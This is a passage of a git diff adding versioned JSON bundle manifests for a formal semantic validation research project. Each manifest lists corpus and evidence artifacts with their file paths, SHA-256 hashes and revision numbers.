"artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "24.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v23.json", + "snapshot_sha256": "cdd608e3887f6c97d0062db8e1c92ef67a33b579d5fe09dee6afe84c9093c7e5" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v24.json b/docs/research/formal-semantic-validation/bundles/retest-v24.json new file mode 100644 index 000000000..4d39f59fb --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v24.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v24.json", + "analysis_sha256": "c7590795d8b3b1ba52f4b545c2e37106cab2fd267793519c61894bc7ce222dbd", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "25.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v24.json", + "snapshot_sha256": "1559a3a00bf3e65b22577d964d2d709cd58cd4a26ac9a8783803275c291ff5ec" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v25.json b/docs/research/formal-semantic-validation/bundles/retest-v25.json new file mode 100644 index 000000000..17ed0a4ab --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v25.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v25.json", + "analysis_sha256": "43022dcffb8ec200c3bb026c76548201bd446ca4e12bd97102c4ccd12fbc990a", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "26.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v25.json", + "snapshot_sha256": "f1281c4ccfd86fa4972977001759bbd70af6b5e6cfa279ff1a3d27bdc6cb5b41" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v26.json b/docs/research/formal-semantic-validation/bundles/retest-v26.json new file mode 100644 index 000000000..7d5e79bac --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v26.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v26.json", + "analysis_sha256": "823f2879c923fc5039dbe7ed099ade6c42fc20b6fca8cd673251445276f8fb39", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "27.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v26.json", + "snapshot_sha256": "1b625289f323424ebea895870f7cef40d77c4682d45d188e5f53cacba93e257c" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v27.json b/docs/research/formal-semantic-validation/bundles/retest-v27.json new file mode 100644 index 000000000..fe4518829 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v27.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v27.json", + "analysis_sha256": "468ed1939cdd3328afab154448f33fc079552cc09478e1937cd619f71f7f185f", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "28.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v27.json", + "snapshot_sha256": "e02e080d6c9dbaed328e099c7b44668d9e4c63cd0fa3cff8a7ba562a629e4f87" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v28.json b/docs/research/formal-semantic-validation/bundles/retest-v28.json new file mode 100644 index 000000000..249ce73d0 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v28.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v28.json", + "analysis_sha256": "56487b258df1a6cc2afc94c9136438b47b55a09696776868620c44c85a222e1c", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": 